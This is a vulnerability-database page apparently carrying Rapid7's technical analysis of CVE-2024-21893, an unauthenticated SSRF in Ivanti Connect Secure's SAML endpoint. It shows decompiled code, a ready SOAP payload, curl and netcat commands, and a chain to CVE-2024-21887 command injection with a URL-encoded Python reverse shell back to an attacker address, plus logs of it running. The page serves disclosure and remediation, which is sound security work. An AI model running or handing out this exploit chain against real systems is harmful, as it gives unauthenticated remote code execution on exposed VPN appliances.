Attacker Value
Very High
(1 user assessed)
Exploitability
Unknown
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
6

CVE-2024-21893

Disclosure Date: January 31, 2024
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

Add Assessment

4
Ratings
Technical Analysis

See the Rapid7 analysis for details on the exploit chain.

CVSS V3 Severity and Metrics
Base Score:
8.2 High
Impact Score:
4.2
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
Low
Availability (A):
None

General Information

Vendors

  • ivanti

Products

  • connect secure 21.12,
  • connect secure 21.9,
  • connect secure 22.1,
  • connect secure 22.2,
  • connect secure 22.3,
  • connect secure 22.4,
  • connect secure 22.6,
  • connect secure 9.0,
  • connect secure 9.1,
  • neurons for zero-trust access -,
  • policy secure 22.1,
  • policy secure 22.2,
  • policy secure 22.3,
  • policy secure 22.4,
  • policy secure 22.5,
  • policy secure 22.6,
  • policy secure 9.0,
  • policy secure 9.1

Additional Info

Technical Analysis

Overview

On January 31, 2024, Ivanti disclosed CVE-2024-21893, affecting Ivanti Connect Secure and Ivanti Policy Secure. The vulnerability is described as a server side request forgery (SSRF) issue in the Security Assertion Markup Language (SAML) component of the appliance.

Ivanti Connect Secure appliances have recently been under active exploitation via a number of vulnerabilities chained together; an authentication bypass vulnerability (CVE-2023-46805) has been chained to a command injection vulnerability (CVE-2024-21887), to give an attacker unauthenticated remote code execution. Our Rapid7 analysis published on January 12, 2024, goes into detail on these vulnerabilities. To address those two vulnerabilities, Ivanti released a mitigation file which successfully prevented the exploit chain from working. At the time of publishing this first mitigation, Ivanti had not yet released any official patches for the issues.

With the publication of the SSRF vulnerability CVE-2024-21893 on January 31, 2024, both Ivanti and Mandiant have said that a threat actor has developed a new technique to bypass Ivanti’s original mitigation for the initial exploit chain. This bypass technique is CVE-2024-21893. Ivanti has released a second mitigation to prevent both exploit chains from working.

As of Feb 1, 2024, Ivanti has begun releasing official patches to address all vulnerabilities used in both exploit chains. Note: Rapid7 research has verified that the second mitigation from Ivanti successfully blocks the exploit chain described in this analysis.

This analysis details what we believe to be CVE-2024-21893, an SSRF vulnerability in the SAML component of Ivanti Connect Secure that can be leveraged to successfully bypass the original mitigation for the CVE-2023-46805 and CVE-2024-21887 exploit chain. Our analysis targets Ivanti Connect Secure 22.3R1, while the latest version available is 22.5R2.2.

We recommend reading our Rapid7 analysis for background on both the original vulnerabilities, and on how Ivanti Connect Secure handles requests and authentication.

How to reach the SAML Server

When researching the auth bypass vulnerability CVE-2023-46805, we discovered that authentication occurs via a function doAuthCheck in an HTTP web server binary /root/home/bin/web. When reviewing this in the context of a new SAML vulnerability, we can note that the endpoint /dana-ws/saml20.ws also does not require authentication.

  if ( !memcmp(uri_path_1, "/dana-na/", 9u)
    || !memcmp(a1->uri_path, "/dana-cached/setup/", 0x13u)
    || !memcmp(a1->uri_path, "/dana-cached/sc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/hc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/cc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/ep/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/psal/", 0x12u)
    || !strncmp(uri_path1, "/dana-cached/remediation/", 0x19u)
    || !strncmp(uri_path1, "/dana-ws/saml20.ws", 0x12u) // <--- No auth for this SAML endpoint
    || !strncmp(uri_path1, "/dana-ws/samlecp.ws", 0x13u)
    || !strncmp(uri_path1, "/adfs/ls", 8u)
    || !strncmp(uri_path1, "/api/v1/profiler/", 0x11u)
    || !strncmp(uri_path1, "/api/v1/cav/client/", 0x13u) && strncmp(uri_path1, "/api/v1/cav/client/auth_token", 0x1Du) )
  {
    return 1;
  }
  v18 = (const void *)getDevice(a1->dwordC);
  if ( (unsigned __int8)sub_873D0(a1->uri_path, v18) )
    return 1;
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <--- No auth check for the endpoint in the original exploit chain, CVE-2023-46805
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1;
  }

The web server’s function doDispatchRequest will dispatch unauthenticated HTTP POST requests for the endpoints /dana-ws/saml.ws, /dana-ws/saml20.ws, and /dana-ws/samlecp.ws to a back-end service called saml-server via the web server’s DSWSSAMLHandler class. These requests are intended to service SOAP-based SAML requests.

      if ( !strncmp(v33, "/dana-ws/saml.ws", 0x10u)
        || !strncmp(v33, "/dana-ws/saml20.ws", 0x12u) // <--- our unauthenticated path
        || !strncmp(v33, "/dana-ws/samlecp.ws", 0x13u) )
      {
        if ( !byte_13EBE0 && __cxa_guard_acquire((__guard *)&byte_13EBE0) )
        {
          v37 = "Watchdog";
          if ( !*((_BYTE *)a1 + 240) )
            v37 = "WebRequest";
          dword_13EC54 = DSGetStatementCounter("request.cc", 5283, "doDispatchRequest", v37, 10, "Dispatching to SAML");
          __cxa_guard_release((__guard *)&byte_13EBE0);
        }
        ++*(_QWORD *)dword_13EC54;
        if ( DSLog::Debug::isOn(v76) )
        {
          v34 = "Watchdog";
          if ( !*((_BYTE *)a1 + 240) )
            v34 = "WebRequest";
          DSLog::Debug::Write(
            (DSLog::Debug *)v34,
            &byte_9[1],
            (int)"request.cc",
            (const char *)&elf_gnu_hash_chain[440] + 3,
            (int)"Dispatching to SAML",
            v92);
        }
        DSCockpitCounter::updateCounter(0, 1);
        if ( !byte_13EBE8 && __cxa_guard_acquire((__guard *)&byte_13EBE8) )
        {
          dword_13EC50 = DSGetStatementCounter(
                           "request.cc",
                           5285,
                           "doDispatchRequest",
                           "WebRequest",
                           60,
                           "DSCockpitCounter Webhits Incremented");
          __cxa_guard_release((__guard *)&byte_13EBE8);
        }
        ++*(_QWORD *)dword_13EC50;
        if ( DSLog::Debug::isOn(v77) )
          DSLog::Debug::Write(
            (DSLog::Debug *)"WebRequest",
            off_3C,
            (int)"request.cc",
            (const char *)&elf_gnu_hash_chain[441] + 1,
            (int)"DSCockpitCounter Webhits Incremented",
            v92);
        DSCockpitCounter::updateCounter(4, 1);
        return sub_86980((int)a1) != 0; // <--- dispatch to saml-server via DSWSSAMLHandler
      }

The saml-server binary is located in /home/bin/saml-server and is responsible for all SAML operations, including SOAP requests. The function SoapHandler will attempt to convert the incoming HTTP POST request’s content data into an XML object via the function createXMLObjectFromSoapMessage. This function will call out to the library xmltooling for all XML processing.

We can note that the version of xmltooling being used is 3.0.2, which is several releases out of date. Searching online for SSRF vulnerabilities in the xmltooling library uncovers CVE-2023-36661, an SSRF vulnerability via a crafted KeyInfo element in xmltooling affecting all version of the library before 3.2.4. The vendor Shibboleth published an advisory with some more details on June 12, 2023.

Given we can reach the SAML server with an unauthenticated HTTP request, and can provide arbitrary XML data for processing by the vulnerable xmltooling library used by saml-server, it seems likely that this is the SSRF vulnerability identified as CVE-2024-21893 and used to bypass the first mitigation from Ivanti.

Triggering the SSRF

To trigger the SSRF vulnerability, we provide an XML SOAP envelope. Inside the SOAP envelope is a signature that will be processed by xmltooling. The signature contains a KeyInfo element that has a child RetrievalMethod element. The RetrievalMethod element has an attribute called URI. This attribute allows us to specify an arbitrary URI that the function XMLToolingFIPS.XMLObject.Signature will use to request a remote resource via a HTTP GET request, thus giving an attacker an SSRF exploit primitive.

For example, to perform an SSRF and make saml-server perform an HTTP request to a machine we control (192.168.86.35 in the below example), the following SOAP envelope can be used (we saved the below XML to a file called post_data.xml).

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
			<ds:SignedInfo>
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
			</ds:SignedInfo>
			<ds:SignatureValue>qwerty</ds:SignatureValue>
			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
				<ds:RetrievalMethod URI="http://192.168.86.35:4444/hack%20the%20planet"/>
				<ds:X509Data/>
			</ds:KeyInfo>
			<ds:Object></ds:Object>
		</ds:Signature>
	</soap:Body>
</soap:Envelope>

We can then trigger the SSRF with a simple cURL request to the Ivanti Connect Secure appliance (192.168.86.111 in the example below):

curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws

Finally a netcat listener on our machine can be used to receive the server’s HTTP GET request. We can note that we also control the GET query, allowing us to provide an arbitrary GET query string during the SSRF. This will be important when we leverage the SSRF for remote code execution.

>ncat -lp 4444
GET /hack%20the%20planet HTTP/1.0
Host: 192.168.86.35:4444


hax1.png

Chaining the SSRF to CVE-2024-21887 for unauthenticated RCE

Knowing we can leverage an unauthenticated SSRF vulnerability to perform an arbitrary HTTP GET request, we can chain this to one of the command injection vulnerabilities from CVE-2024-21887 (Ivanti choose to address multiple command injection vulnerabilities in a single CVE, which is not considered a best practice. For clarity, every individual vulnerability should optimally be assigned a unique CVE identifier).

As detailed in our original Rapid7 analysis, a command injection vulnerability exists in the /api/v1/license/keys-status endpoint, and is reachable via a single HTTP GET request. We learnt during that analysis that the Python back end that services the /api/v1/license/keys-status endpoint listens on a locally bound port 8090. Therefore, we can exploit this command injection via an HTTP GET request to http://127.0.0.1:8090/api/v1/license/keys-status if the HTTP GET request occurs on the appliance itself, for example via an SSRF vulnerability. As authentication is performed by the front-end web server and not the back-end services, no authentication is needed. This allows us to leverage the SSRF vulnerability to bypass the original mitigation from Ivanti, which imposed filtering restrictions in the front-end web server.

To exploit CVE-2024-21887, we modify the SSRF URI as follows. This will trigger the command injection and run a Python-based reverse shell payload back to our attacker machine.

http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

Our XML SOAP envelope becomes as follows:

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
			<ds:SignedInfo>
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
			</ds:SignedInfo>
			<ds:SignatureValue>qwerty</ds:SignatureValue>
			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
				<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
				<ds:X509Data/>
			</ds:KeyInfo>
			<ds:Object></ds:Object>
		</ds:Signature>
	</soap:Body>
</soap:Envelope>

We can then trigger the SSRF vulnerability, which in turn triggers the command injection vulnerability, which will in turn execute our reverse shell payload.

curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws

hax2.png

If we enable debug logging on the appliance we can see the saml-server processing the incoming XML data and performing the SSRF request to 127.0.0.1:8090. The debug log will be located in /data/var/dlogs/debuglog.

2024/02/02 09:37:41.758224 saml-server(30183) vc0 10 saml soap.cc:724 - DSSAMLHandler,Received SAML SOAP request:
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>blah</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig"
 xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
    <ds:X509Data/>
</ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope> from client 192.168.86.35
2024/02/02 09:37:41.758229 saml-server(30183) vc0 10 saml samlprofile.cc:35 - SAMLProfile::createXMLObjectFromSoapMessage
2024/02/02 09:37:41.758233 saml-server(30183) vc0 10 saml samlprofile.cc:36 - SOAP Message --> <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>blah</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig"
 xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
    <ds:X509Data/>
</ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope>
2024/02/02 09:37:41.758361 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG getBuilder: located XMLObjectBuilder for element name: soap:Envelope
2024/02/02 09:37:41.758391 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall: unmarshalling DOM element (soap:Envelope)
2024/02/02 09:37:41.758407 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallAttributes: unmarshalling attributes for DOM element (soap:Envelope)
2024/02/02 09:37:41.758413 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallAttributes: found namespace declaration, adding it to the list of namespaces on the XMLObject
2024/02/02 09:37:41.758420 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent: unmarshalling child nodes of DOM element (soap:Envelope)
2024/02/02 09:37:41.758443 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG unmarshall unmarshallContent getBuilder: located XMLObjectBuilder for element name: soap:Body
2024/02/02 09:37:41.758450 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent: unmarshalling child element (soap:Body)
2024/02/02 09:37:41.758458 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall: unmarshalling DOM element (soap:Body)
2024/02/02 09:37:41.758465 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling child nodes of DOM element (soap:Body)
2024/02/02 09:37:41.758474 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG unmarshall unmarshallContent unmarshall unmarshallContent getBuilder: located XMLObjectBuilder for element name: ds:Signature
2024/02/02 09:37:41.758480 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling child element (ds:Signature)
2024/02/02 09:37:41.758500 saml-server(30183) vc0 20 saml main.cc:313 - XMLToolingFIPS.XMLObject.Signature DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling ds:Signature
2024/02/02 09:37:41.758559 saml-server(30183) vc0 10 DSPreload::DNS::gethostbyname dns.cc:46 - name=127.0.0.1
2024/02/02 09:37:41.758564 saml-server(30183) vc0 10 DSPreload::DNS::gethostbyname dns.cc:92 - name=127.0.0.1 has 1 hits
2024/02/02 09:37:41.758569 saml-server(30183) vc0  5 DSPreload::DNS::gethostbyname dns.cc:96 - hit 0 = 127.0.0.1
2024/02/02 09:37:41.758578 saml-server(30183) vc0  1 DSPreload::Net net.cc:424 - rebind: connect AF_INET to dest = 127.0.0.1:8090

Given that all XML operations in saml-server are processed by the vulnerable xmltooling library, it is likely that other SAML endpoints can be leveraged to perform the SSRF. Several CGI scripts also perform SAML processing, such as /dana-na/auth/saml-sso.cgi and /dana-na/auth/saml-logout.cgi.

We have verified that the new second mitigation from Ivanti successfully blocks the exploit chain described in this analysis.

Remediation

Ivanti have released a second mitigation file that successfully remediates the exploit described in this analysis.

In addition, Ivanti has released a patch to address all known vulnerabilities (CVE-2023-46805, CVE-2024-21887, CVE-2024-21888, and CVE-2024-21893).

A knowledge base article is available for further details on Ivanti’s interim workaround and official patch.

References